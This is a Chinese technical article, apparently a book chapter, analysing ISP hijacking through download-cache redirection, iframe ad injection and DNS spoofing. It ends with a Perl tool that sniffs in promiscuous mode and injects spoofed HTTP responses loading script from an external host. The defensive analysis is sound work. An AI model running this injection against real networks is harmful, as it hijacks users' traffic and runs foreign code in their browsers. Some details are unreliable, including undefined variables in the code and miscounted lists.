返回介绍

最佳实践 79:深度分析运营商劫持的技术手段

发布于 2025-04-20 17:44:49 字数 9961 浏览 0 评论 0 收藏 0

中小运营商的网络现状

随着互联网的迅猛发展,P2P、语音及视频等流量不断增加,预计互联网流量将以每年 32%的速度增长,对网络带宽的需求不断增加。而带宽扩容费用非常昂贵,特别是对于中小运营商,每月要付大量的带宽租用费。

而一些运营商网络用户访问时延大、响应慢的问题依旧很难及时解决,用户体验越来越差;另外,内容资源分布不均衡,用户跨网络的内容访问也产生高额的网间结算费用。

如何能在减少带宽投资的情况下,保证用户的上网体验,对运营商来说是一个难题。特别是中小型运营商,在面对像电信、联通这样的对手时,他们在提供互联网业务时,需要支付给电信运营商的高额结算成本,大约占宽带收入的 40%以上。

运营商的劫持方法,总结起来主要有以下 2 类。

- 基于下载文件的缓存劫持。

- 基于页面的 iframe 广告嵌入劫持。

- 基于伪造 DNS 响应的劫持。

基于下载文件的缓存劫持

2012 年 11 月 6 日某游戏技术封测期间,部分玩家下载到老版本游戏客户端,导致无法正常进入游戏。用户给我们提供的截图如图 15-1 所示。

图 15-1 游戏玩家被引导到非法资源 IP

从用户给的截图中,我们分析出被引导的下载节点 101.44.1.12 为非我司服务器 IP 地址。进一步使用网络分析技术(文件:Gameclient.pcap)可以看到图 15-2 所示的信息。

图 15-2 异常下载的抓包分析

由图 15-2 可以看到,对于玩家的请求 frame 325,它收到了图中标号分别为的 2 个响应。

图中有 2 个地方是需要认真分析的。

- 在 HTTP 的模型中,请求和应答是成对出现的,即对应一个 HTTP 请求,只能有一个 HTTP 响应体。如能排除网络丢包(如拥塞控制、防火墙等)问题导致的重传,则一个 HTTP 请求引起 2 个 HTTP 响应的情况就是劫持。

- frame 327 的响应和 frame 325 的请求之间的时间差为 0.009911s,明显小于 frame 323 和 frame 323 之间的 0.017630s 的正常 RTT 值。这说明,frame 327 的响应很可能并非来自于这个数据包所标称的真实的服务器(真实服务器上此时可能还没有收到请求呢)。

从这 2 个初步分析来看存在异常,下面来看看是不是网络原因导致的重传呢?首先看看客户端的请求中是否有异常。如图 15-3 所示,浏览器请求正常。

图 15-3 浏览器正常请求

再来看看图 15-2 中标号为的 HTTP 响应内容,如图 15-4 所示。

图 15-4 非法劫持的响应

通过图 15-4 可以看到这个响应的 IP 层和 TCP 层没有任何异常,完全符合 TCP 协议中有关 IP 信息、TCP 端口信息、序列号(Sequence)、确认号(Acknowledgment number)的规定。但在 HTTP 响应内容中,只有简单的 3 个信息:状态码、Connection、新的 Location

再来看看图 15-2 中第二个 HTTP 响应的内容,如图 15-5 所示。

通过对比图 15-5 和图 15-4 可以知道,这并不是正常网络原因导致的重传,这 2 个响应的内容完全不同。真实服务器的响应头部信息中,是正常的完整的 HTTP 字段,也使用正确的 Location 引导用户到我们的服务器上。

图 15-5 真实服务器响应

通过以上的综合分析,可以看出,运营商劫持的方法是:使用旁路设备在近用户端通过分析 HTTP 请求,获取感兴趣的流量(一般以.zip,.rar,.exe,.patch,.mp3,.mp4,.flv 等文件下载、音视频为主),然后引导到自有服务器上。

这样做有以下的几个特点。

- 旁路设备部署方便,不需要改变现有网络结构。只需要在近用户端的路由器上部署端口镜像即可。

- 旁路设备不产生单点故障,故障时不会导致用户上网异常。如串联到网络中,则可能因劫持设备故障到而导致大面积用户无法上网而产生投诉。

- 外网流量内网化,分担出口带宽压力,节约带宽扩容费用。

- 支持移动应用缓存,将大量的移动应用下载到本地,对于现今移动应用流量快速增长的运营商网络来说,可以极大节省下载费用。

- 劫持功能可以随时关闭,以应对政策因素等。

这种劫持设备的物理部署节点可以包括如下几个。

- 部署在城域网,降低运营商网间结算流量。

- 部署在 WLAN 网络中心。

- 部署在小区宽带网络出口。

- 部署在集团客户网络出口,降低集团客户对网络出口带宽的需求。

这种劫持带来的问题是:如真实服务器上的文件发生变化,比如版本更新等,则被运营商劫持后可能导致用户下载到老的版本客户端。这恰好是引发本案例的因素。

那么运营商为什么进行劫持呢?

所谓“无利不起早”,运营商通过网络劫持,可以极大地节省互联网网间结算带来的巨大开支。

根据中华人民共和国工信部颁布的互联网交换中心网间结算办法( http://www.miit.gov.cn/n11293472/n11293832/n11294057/n11302390/11656117.html ),“第二章结算原则”“第四条中国电信集团公司、中国网络通信集团公司、中国教育和科研计算机网之外的互联单位,在与中国电信集团公司、中国网络通信集团公司进行互联网骨干网网间互联时,应依据网间数据通信速率,按照不高于本办法确定的标准(见附录),向中国电信集团公司、中国网络通信集团公司支付结算费用。非经营性互联单位结算费用标准减半。”和“附录:互联网交换中心结算标准结算费用(元/月)=1000(元/Mbps 月)×结算速率(Mbps)”可以看出,如通过劫持加运营商级别的缓存等技术,使得运营商间交换带宽减少,则可以明显节省运营商互联网网间间结算的费用。

基于页面的 iframe 广告嵌入劫持

在我们运维网站服务器的过程中,会时常看到用户反馈在我们页面上的第三方的广告,但实际上,在我们的 Web 站点上,并没有部署这样的代码。这是运营商在 Web 页面层次做的另一种劫持技术:基于页面的 iframe 广告嵌入劫持。和本最佳实践中提到的上一个劫持具有如下的区别。

- 目标不同。这种劫持是针对用户主动访问的 Web 网站页面,如财经类网站、电子商务网站等。基于下载文件的缓存劫持一般是针对软件、客户端、补丁和音视频等。

- 受益模式不同。这种劫持通过在网页中插入有针对性的广告,直接向广告主收取广告费用。基于下载文件的缓存劫持通过节省网间结算带宽来获取利益。

下面来看看基于页面的 iframe 广告嵌入劫持的技术特点。

基于页面的 iframe 广告嵌入劫持的数据流程如下。

1)用户浏览器和真实服务器经过 TCP 三次握手建立连接。

2)用户浏览器发送 HTTP 请求,例如请求 http://www.sdo.com/index.htm

3)近用户端的旁路劫持程序先于真实服务器发回 HTTP 响应。HTTP 响应中,使用全屏 iframe 原 URL、同时加入广告 js 代码。图 15-6 是一个实际的劫持案例中 HTTP 响应的内容。

图 15-6 劫持的 HTTP 响应内容

4)用户浏览器再次请求原 URL,同时请求广告 js 代码。此时,用户端显示的即是加了运营商广告的页面。

基于伪造 DNS 响应的劫持

伪造 DNS 响应的劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的 IP 地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。

DNS 请求,默认情况下使用 UDP 进行通信,并且在客户端和本地 DNS 之间没有任何的安全校验机制。DNS 的这种特点,就导致了它容易被运营商恶意利用。某种极端情况下,用户在访问 www.google.com 等知名网站时甚至被引导到运营商的合作伙伴网站。

在某些地区的用户在成功连接宽带后,首次打开任何页面都指向 ISP 提供的“电信互联星空”、“网通黄页广告”等内容页面。这些就属于 DNS 劫持。

基于伪造 DNS 响应的劫持,因其影响范围较大且容易被用户识别和投诉,运营商用这种方案的越来越少,在近年中发生的次数也呈下降趋势。

网卡混杂模式与 raw socket 技术

在本章中,我们看到基于下载文件的缓存劫持和基于页面的 iframe 广告嵌入劫持,都采用了旁路模式。这种模式情况下,通过端口镜像技术,把用户的访问流量复制一份引导到劫持服务器上,劫持服务器分析数据流后冒充真实服务器发送 HTTP 响应给用户,以达到劫持的效果。这里面涉及一个问题,劫持服务器上收到的数据帧的目的 MAC 地址并不是自己的地址,那么这个服务器怎么能够处理这些数据帧呢(默认网卡只接收和处理目的 MAC 地址为本机或者广播 MAC 地址的数据帧)?另外,这个服务器又是如何把伪造的数据帧发送到网络上的呢?

这其中涉及以下 2 个技术。

- 网卡混杂模式:使劫持程序服务器能够接收目的 MAC 地址非自己地址的数据帧的问题。

- raw socket(原始套接字)技术:使劫持程序服务器能够发送伪造的数据帧(这些数据帧的 IP 头部源地址是被伪造的真实服务器的 IP)。

为了对运营商劫持问题进行测试,使用如下程序来模拟基于页面的 iframe 广告嵌入劫持技术。使用到的源代码如下:

#!/usr/bin/perl
use strict;
use warnings;
use Net::Pcap;
use NetPacket::Ethernet;
use NetPacket::IP;
use NetPacket::TCP;
use Socket;
#使用该链接下载 Net::RawSock 模块 http://www.hsc.fr\
#/ressources/outils/rawsock/download/Net-RawSock-1.0.tar.gz
use Net::RawSock;

my $err;
my $dev = $ARGV[0]; #定义需要抓取的网络端口
#定义返回给用户的劫持内容
my $html =
"<HTML><HEAD><meta http-equiv='Content-Type' content='text/html; charset=utf-8'/><TITLE>test</TITLE><script type='text/javascript' src='http://xx.yy.zz.88/jquery-1.7.2.js'></script><script></script></HEAD><BODY><iframe name='topIframe' id='topIframe' src='' width='100%' height='100%' marginheight='0' marginwidth='0' frameborder='0' scrolling='no' ></iframe><script type='text/javascript' src='http://xx.yy.zz.88/iframe.js'></script> <script>var u1=window.location.toString();u2=window.location.toString();m=Math.random();ua= window.navigator.userAgent.toLowerCase();f=window.parent.frames['topIframe'];if(u1.indexOf('?')==-1) u1+='?'+m+'='+m;else u1+='&'+m+'='+m;f.location.href=u1;</script></BODY></HTML>";
#判断定义的网络端口存在
unless ( defined $dev ) {
    $dev = Net::Pcap::lookupdev( \$err );
    if ( defined $err ) {
        die 'Unable to determine network device for monitoring - ', $err;
    }
}
#判断定义的网络端口属性
my ( $address, $netmask );
if ( Net::Pcap::lookupnet( $dev, \$address, \$netmask, \$err ) ) {
    die 'Unable to look up device information for ', $dev, ' - ', $err;
}

my $object;
#在定义的端口上抓包
#抓的每个包最大为 65535 字节
#网卡置为混杂模式
$object = Net::Pcap::open_live( $dev, 65535, 1, 0, \$err );
unless ( defined $object ) {
    die 'Unable to create packet capture on device ', $dev, ' - ', $err;
}
my $filter;
#定义初步的过滤规则,该规则为 tcpdump 格式
#过滤规则内容为:tcp 目的端口为 80,且 tcp 的数据长度为非 0
Net::Pcap::compile( $object, \$filter, '(tcp dst port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0))', 0, $netmask )
  && die 'Unable to compile packet capture filter';
Net::Pcap::setfilter( $object, $filter )
  && die 'Unable to set packet capture filter';

#设置抓包的回调函数,并初始化抓包循环
Net::Pcap::loop( $object, -1, \&process_packets, '' )
  || die 'Unable to perform packet capture';
Net::Pcap::close($object);
#每个包处理逻辑
sub process_packets {
    my ( $user_data, $header, $packet ) = @_;
    #从获取的原始套接字(raw socket)数据帧中去掉 Ethernet 头部,获得 Ethernet 数据
    my $ether_data = NetPacket::Ethernet::strip($packet);
    #解析 tcp/ip 数据
    my $ip_in  = NetPacket::IP->decode($ether_data);
    my $tcp_in = NetPacket::TCP->decode( $ip->{'data'} );
#对 tcp 数据进行匹配,我们感兴趣的是用户的 HTTP 请求
    if ( $tcp_in->{'data'} =~ m /GET \/ HTTP/ ) {
     #匹配到之后,组装 raw socket 需要的 ip 头部、tcp 头部和 tcp 数据
     #创建 ip
        my $ip_out = NetPacket::IP->decode('');
     #初始化 ip
        $ip_out->{ver}     = 4;
        $ip_out->{hlen}    = 5;
        $ip_out->{tos}     = 0;
        $ip_out->{id}      = 0x1d1d;
        $ip_out->{ttl}     = 0x5a;
        $ip_out->{src_ip}  = $ip->{'dest_ip'};
        $ip_out->{dest_ip} = $ip->{'src_ip'};
        $ip_out->{flags}   = 2;
     #创建 tcp
        my $tcp_out = NetPacket::TCP->decode('');
        my $htmllength = length($html);
     #初始化 tcp
        $tcp_out->{hlen}      = 5;
        $tcp_out->{winsize}   = 0x8e30;
        $tcp_out->{src_port}  = $tcp->{'dest_port'};
        $tcp_out->{dest_port} = $tcp->{'src_port'};
        $tcp_out->{seqnum}    = $tcp->{'acknum'};
        $tcp_out->{acknum}    = $tcp->{'seqnum'} + ( $ip->{'len'} - ( $ip->{'hlen'} + $tcp->{'hlen'} ) * 4 );
        $tcp_out->{flags}     = ACK | PSH | FIN;
        $tcp_out->{data}      = "HTTP/1.1 200 OK\r\n" . "Content-Length: $htmllength" .  "\r\nConnection: close\r\nContent-Type:text/html;charset=utf-8\r\n\r\n" . "$html";

     #组装 ip 包
        $ip_out->{proto} = 6;
        $ip_out->{data}  = $tcp_out->encode($ip_out);
        my $pkt = $ip_out->encode;

     #提交给 RawSock,增加 Ethernet 头部后发送到网路上
        Net::RawSock::write_ip($pkt);
    }
}

通过以上程序,可以看到,使用网卡的混杂模式,与 raw socket 技术结合,可以构造任何 TCP/IP 数据。在业务运维中,使用 raw socket 技术,还可以实现自定义的网络数据采样和安全监控等功能。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。